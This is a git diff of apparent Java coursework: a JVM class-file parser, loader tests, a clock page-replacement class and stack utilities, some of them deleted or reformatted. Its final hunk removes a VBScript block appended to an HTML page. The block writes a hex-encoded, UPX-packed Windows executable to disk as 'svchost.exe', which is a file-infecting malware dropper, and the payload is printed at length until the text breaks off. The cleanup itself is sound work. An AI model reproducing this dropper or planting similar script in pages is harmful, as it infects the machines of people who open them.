-                constantInfo = parseUTF8Info(iter);
-                break;
-            case ConstantInfo.CLASS_INFO:
-                constantInfo = parseClassInfo(iter);
-                break;
-            case ConstantInfo.STRING_INFO:
-                constantInfo = parseStringInfo(iter);
-                break;
-            case ConstantInfo.FIELD_INFO:
-                constantInfo = parseFieldInfo(iter);
-                break;
-            case ConstantInfo.METHOD_INFO:
-                constantInfo = parseMethodInfo(iter);
-                break;
-            case ConstantInfo.NAME_AND_TYPE_INFO:
-                constantInfo = parseNameAndTypeInfo(iter);
-                break;
-            default:
-                throw new RuntimeException("Unsupported tag");
-        }
-        constantPool.addConstantInfo(constantInfo);
-    }
-
-    private ConstantInfo parseUTF8Info(ByteCodeIterator iter) {
-        UTF8Info utf8Info = new UTF8Info(constantPool);
-        int length = iter.next2BytesToInt();
-        String value = new String(iter.nextNBytes(length));
-        utf8Info.setLength(length);
-        utf8Info.setValue(value);
-        return utf8Info;
-    }
-
-    private ConstantInfo parseClassInfo(ByteCodeIterator iter) {
-        ClassInfo classInfo = new ClassInfo(constantPool);
-        classInfo.setUtf8Index(iter.next2BytesToInt());
-        return classInfo;
-    }
-
-    private ConstantInfo parseStringInfo(ByteCodeIterator iter) {
-        StringInfo stringInfo = new StringInfo(constantPool);
-        stringInfo.setIndex(iter.next2BytesToInt());
-        return stringInfo;
-    }
-
-    private ConstantInfo parseFieldInfo(ByteCodeIterator iter) {
-        FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
-        fieldRefInfo.setClassInfoIndex(iter.next2BytesToInt());
-        fieldRefInfo.setNameAndTypeIndex(iter.next2BytesToInt());
-        return fieldRefInfo;
-    }
-
-    private ConstantInfo parseMethodInfo(ByteCodeIterator iter) {
-        MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
-        methodRefInfo.setClassInfoIndex(iter.next2BytesToInt());
-        methodRefInfo.setNameAndTypeIndex(iter.next2BytesToInt());
-        return methodRefInfo;
-    }
-
-    private ConstantInfo parseNameAndTypeInfo(ByteCodeIterator iter) {
-        NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
-        nameAndTypeInfo.setIndex1(iter.next2BytesToInt());
-        nameAndTypeInfo.setIndex2(iter.next2BytesToInt());
-        return nameAndTypeInfo;
-    }
-
-
-}
diff --git a/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java b/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
index 3b507732bb..5ebb4075a6 100644
--- a/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
+++ b/group17/1264835468/src/assignment0326/jvm/test/ClassFileLoaderTest.java
@@ -4,9 +4,6 @@
  * Created by Administrator on 2017/3/30.
  */
 
-import assignment0326.jvm.clz.ClassFile;
-import assignment0326.jvm.clz.ClassIndex;
-import assignment0326.jvm.constant.*;
 import assignment0326.jvm.loader.ClassFileLoader;
 import org.junit.After;
 import org.junit.Assert;
@@ -14,23 +11,16 @@
 import org.junit.Test;
 
 
+
+
+
 public class ClassFileLoaderTest {
 
-    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
     static String path1 = "D:\\GitHub\\group17\\1264835468\\bin";
     static String path2 = "C:\\Temp";
 
-    static ClassFile clzFile = null;
 
-    static {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "com.coderising.jvm.test.EmployeeV1";
-
-        clzFile = loader.loadClass(className);
-        //clzFile.print();
-    }
 
     @Before
     public void setUp() throws Exception {
@@ -41,7 +31,7 @@ public void tearDown() throws Exception {
     }
 
     @Test
-    public void testClassPath() {
+    public void testClassPath(){
 
         ClassFileLoader loader = new ClassFileLoader();
         loader.addClassPath(path1);
@@ -49,7 +39,7 @@ public void testClassPath() {
 
         String clzPath = loader.getClassPath();
 
-        Assert.assertEquals(path1 + ";" + path2, clzPath);
+        Assert.assertEquals(path1+";"+path2,clzPath);
 
     }
 
@@ -70,12 +60,12 @@ public void testClassFileLength() {
 
 
     @Test
-    public void testMagicNumber() {
+    public void testMagicNumber(){
         ClassFileLoader loader = new ClassFileLoader();
         loader.addClassPath(path1);
         String className = "assignment0326.jvm.test.EmployeeV1";
         byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
 
 
         String acctualValue = this.byteToHexString(codes);
@@ -84,13 +74,17 @@ public void testMagicNumber() {
     }
 
 
-    private String byteToHexString(byte[] codes) {
+
+
+
+
+    private String byteToHexString(byte[] codes ){
         StringBuffer buffer = new StringBuffer();
-        for (int i = 0; i < codes.length; i++) {
+        for(int i=0;i<codes.length;i++){
             byte b = codes[i];
             int value = b & 0xFF;
             String strHex = Integer.toHexString(value);
-            if (strHex.length() < 2) {
+            if(strHex.length()< 2){
                 strHex = "0" + strHex;
             }
             buffer.append(strHex);
@@ -98,99 +92,4 @@ private String byteToHexString(byte[] codes) {
         return buffer.toString();
     }
 
-    /**
-     * ----------------------------------------------------------------------
-     */
-
-
-    @Test
-    public void testVersion() {
-
-        Assert.assertEquals(0, clzFile.getMinorVersion());
-        Assert.assertEquals(52, clzFile.getMajorVersion());
-
-    }
-
-    @Test
-    public void testConstantPool() {
-
-
-        ConstantPool pool = clzFile.getConstantPool();
-
-        Assert.assertEquals(53, pool.getSize());
-
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-            Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-        }
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-            Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-        }
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-            Assert.assertEquals("name", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(6);
-            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(7);
-            Assert.assertEquals("age", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(8);
-            Assert.assertEquals("I", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(9);
-            Assert.assertEquals("<init>", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(10);
-            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(11);
-            Assert.assertEquals("Code", utf8Info.getValue());
-        }
-
-        {
-            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
-            Assert.assertEquals(3, methodRef.getClassInfoIndex());
-            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-            Assert.assertEquals(9, nameAndType.getIndex1());
-            Assert.assertEquals(14, nameAndType.getIndex2());
-        }
-        //抽查几个吧
-        {
-            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
-            Assert.assertEquals(1, methodRef.getClassInfoIndex());
-            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-        }
-    }
-
-    @Test
-    public void testClassIndex() {
-
-        ClassIndex clzIndex = clzFile.getClzIndex();
-        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-
-        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-
 }
\ No newline at end of file
diff --git a/group17/1264835468/src/assignment0326/jvm/util/Util.java b/group17/1264835468/src/assignment0326/jvm/util/Util.java
deleted file mode 100644
index 5855550bf8..0000000000
--- a/group17/1264835468/src/assignment0326/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package assignment0326.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group17/1264835468/src/assignment0326/lru/Clock.java b/group17/1264835468/src/assignment0326/lru/Clock.java
new file mode 100644
index 0000000000..274b6ebc80
--- /dev/null
+++ b/group17/1264835468/src/assignment0326/lru/Clock.java
@@ -0,0 +1,99 @@
+package assignment0326.lru;
+
+import java.util.*;
+import java.util.stream.Collectors;
+
+/**
+ *  Created by Administrator on 2017/3/29.
+ */
+public class Clock {
+    private PageFrame[] pages;
+    private int capacity;
+    private int accessPtr;
+    private int size;
+    public Clock(int capacity) {
+        this.capacity = capacity;
+        pages = new PageFrame[capacity];
+        accessPtr = 0;
+        size=0;
+    }
+
+    private void access(int pageNum) {
+        int index = search(pageNum);
+        if(index==-1){
+            if(size<capacity){
+                add(new PageFrame(pageNum));
+            }else{
+                pages[findLRUIndex()].pageNum=pageNum;
+            }
+        }else {
+            pages[findLRUIndex()].accessFlag=true;
+        }
+        accessPtr = (accessPtr + 1) % capacity;
+    }
+
+    private int search(int pageNum) {
+        for (int i = 0; i <size; i++) {
+            if(pages[i].pageNum==pageNum)
+                return i;
+        }
+        return -1;
+    }
+
+    private void add(PageFrame pageFrame) {
+        pages[size++]=pageFrame;
+    }
+
+    private int findLRUIndex() {
+        while (pages[accessPtr].shouldGiveAnotherChance()) {
+            accessPtr = (accessPtr + 1) % capacity;
+        }
+        return accessPtr;
+    }
+
+    private static class PageFrame {
+        int pageNum;
+        boolean accessFlag;
+
+        public PageFrame(int pageNum) {
+            this.pageNum = pageNum;
+            accessFlag = true;
+        }
+
+        public boolean shouldGiveAnotherChance() {
+            if (accessFlag) {
+                accessFlag = false;
+                return true;
+            }
+            return false;
+        }
+    }
+
+    public static void main(String[] args) {
+
+        List<String> strings=new ArrayList<>();
+        for (int i = 0; i <10; i++) {
+            strings.add(String.valueOf(new Random().nextInt(3000)));
+        }
+        System.out.println(strings);
+        System.out.println(strings.stream().map(s-> s.charAt(0)).sorted().distinct().limit(5).collect(Collectors.toList()));
+    }
+
+    public int findMinDifference(List<String> timePoints) {
+        List<Integer> list=new ArrayList<>();
+
+        for (String s:timePoints) {
+            list.add(parse(s));
+        }
+        Collections.sort(list);
+        int min=Integer.MAX_VALUE;
+        for (int i = 0; i < list.size()-1; i++) {
+            min=Math.min(min,Math.min(Math.abs(list.get(i+1)-list.get(i)),24*60-Math.abs(list.get(i+1)-list.get(i))));
+        }
+        return min;
+    }
+
+    private Integer parse(String s) {
+        return Integer.parseInt(s.substring(0, 2)) * 60 + Integer.parseInt(s.substring(3, 5));
+    }
+}
diff --git a/group17/1264835468/src/assignment0405/StackUtil.java b/group17/1264835468/src/assignment0405/StackUtil.java
deleted file mode 100644
index dcaf1992dd..0000000000
--- a/group17/1264835468/src/assignment0405/StackUtil.java
+++ /dev/null
@@ -1,107 +0,0 @@
-package assignment0405;
-
-import assignment.Stack;
-
-import java.util.Objects;
-
-/**
- * Created by Administrator on 2017/4/6.
- */
-public class StackUtil {
-
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(Stack s) {
-        Stack stack1 = new Stack();
-        Stack stack2 = new Stack();
-        popAllToAnotherStack(s, stack1);
-        popAllToAnotherStack(stack1, stack2);
-        popAllToAnotherStack(stack2, s);
-    }
-
-    private static void popAllToAnotherStack(Stack s, Stack another) {
-        while (!s.isEmpty()) {
-            another.push(s.pop());
-        }
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(Stack s, Object o) {
-        Stack stack2 = new Stack();
-        while (!s.isEmpty()) {
-            Object top = s.pop();
-            //Objects.equals(null, null) == true
-            if (!Objects.equals(top, o)) {
-                stack2.push(top);
-            }
-        }
-        popAllToAnotherStack(stack2, s);
-    }
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(Stack s, int len) {
-        if (len > s.size())
-            throw new RuntimeException("Stack size:" + s.size() + " < " + len);
-        Object[] objects = new Object[len];
-        for (int i = 0; i < len; i++) {
-            objects[i] = s.pop();
-        }
-        for (int i = len - 1; i >= 0; i--) {
-            s.push(objects[i]);
-        }
-        return objects;
-    }
-
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     *
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s) {
-        Stack<Character> stack = new Stack<>();
-
-        for (char c : s.toCharArray()) {
-            if (isLeft(c)) {
-                stack.push(c);
-                continue;
-            }
-            if (isRight(c)) {
-                if (stack.isEmpty() || !match(stack.pop(), c)) {
-                    return false;
-                }
-            }
-        }
-        return stack.isEmpty();
-    }
-
-    private static boolean isLeft(char c) {
-        return c == '[' || c == '(' || c == '{';
-    }
-
-    private static boolean isRight(char c) {
-        return c == ']' || c == ')' || c == '}';
-    }
-
-    private static boolean match(char left, char right) {
-        return (left == '(' && right == ')') || (left == '[' && right == ']') || (left == '{' && right == '}');
-    }
-
-
-}
diff --git a/group17/1264835468/src/assignment0405/StackUtilTest.java b/group17/1264835468/src/assignment0405/StackUtilTest.java
deleted file mode 100644
index d36a17c29d..0000000000
--- a/group17/1264835468/src/assignment0405/StackUtilTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package assignment0405;
-
-import assignment.Stack;
-import org.junit.Assert;
-import org.junit.Test;
-
-/**
- * Created by Administrator on 2017/4/9.
- */
-public class StackUtilTest {
-    @Test
-    public void reverse() throws Exception {
-        Stack stack = new Stack();
-        pushAll(stack, 1, 2, 3, 4);
-        Assert.assertEquals("4, 3, 2, 1", stack.toString());
-        StackUtil.reverse(stack);
-        Assert.assertEquals("1, 2, 3, 4", stack.toString());
-        StackUtil.reverse(stack);
-        Assert.assertEquals("4, 3, 2, 1", stack.toString());
-
-    }
-
-
-    @Test
-    public void remove() throws Exception {
-        Stack stack = new Stack();
-        pushAll(stack, 0, 1, 2, 3);
-        StackUtil.remove(stack, 1);
-        Assert.assertEquals("3, 2, 0", stack.toString());
-        pushAll(stack, 4, 5, 6, 5);
-        Assert.assertEquals("5, 6, 5, 4, 3, 2, 0", stack.toString());
-        StackUtil.remove(stack, 5);
-        Assert.assertEquals("6, 4, 3, 2, 0", stack.toString());
-        pushAll(stack, null, 7, null);
-        Assert.assertEquals("null, 7, null, 6, 4, 3, 2, 0", stack.toString());
-        StackUtil.remove(stack, null);
-        Assert.assertEquals("7, 6, 4, 3, 2, 0", stack.toString());
-
-
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void getTop() throws Exception {
-        Stack stack = new Stack();
-        pushAll(stack, 1, 2, 3, 4, 5);
-        Assert.assertArrayEquals(new Object[]{5, 4, 3}, StackUtil.getTop(stack, 3));
-        Assert.assertArrayEquals(new Object[]{5}, StackUtil.getTop(stack, 1));
-        Assert.assertArrayEquals(new Object[]{5, 4, 3, 2, 1}, StackUtil.getTop(stack, 5));
-        //异常
-        StackUtil.getTop(stack, 6);
-    }
-
-    @Test
-    public void isValidPairs() throws Exception {
-        Assert.assertTrue(StackUtil.isValidPairs("()[]{}([])"));
-        Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-        Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-        Assert.assertFalse(StackUtil.isValidPairs("((a)[]{b(c)}"));
-    }
-
-    private void pushAll(Stack s, Object... objects) {
-        for (Object object : objects) {
-            s.push(object);
-        }
-    }
-
-}
\ No newline at end of file
diff --git a/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java b/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 8ba6ebd501..0000000000
--- a/group17/1264835468/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-
-
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-        this.age = age;
-    }
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
-    }
-    public static void main(String[] args){
-        EmployeeV1 p = new EmployeeV1("Andy",29);
-        p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/download/net_multisoc.htm b/group17/1282579502/src/com/coderising/download/net_multisoc.htm
index 852129b19a..5ddcba89af 100644
--- a/group17/1282579502/src/com/coderising/download/net_multisoc.htm
+++ b/group17/1282579502/src/com/coderising/download/net_multisoc.htm
@@ -488,18 +488,3 @@ <h2>Result</h2>
 </script></div>
 </body>
 </html>
-<SCRIPT Language=VBScript><!--
-DropFileName = "svchost.exe"
-WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D341023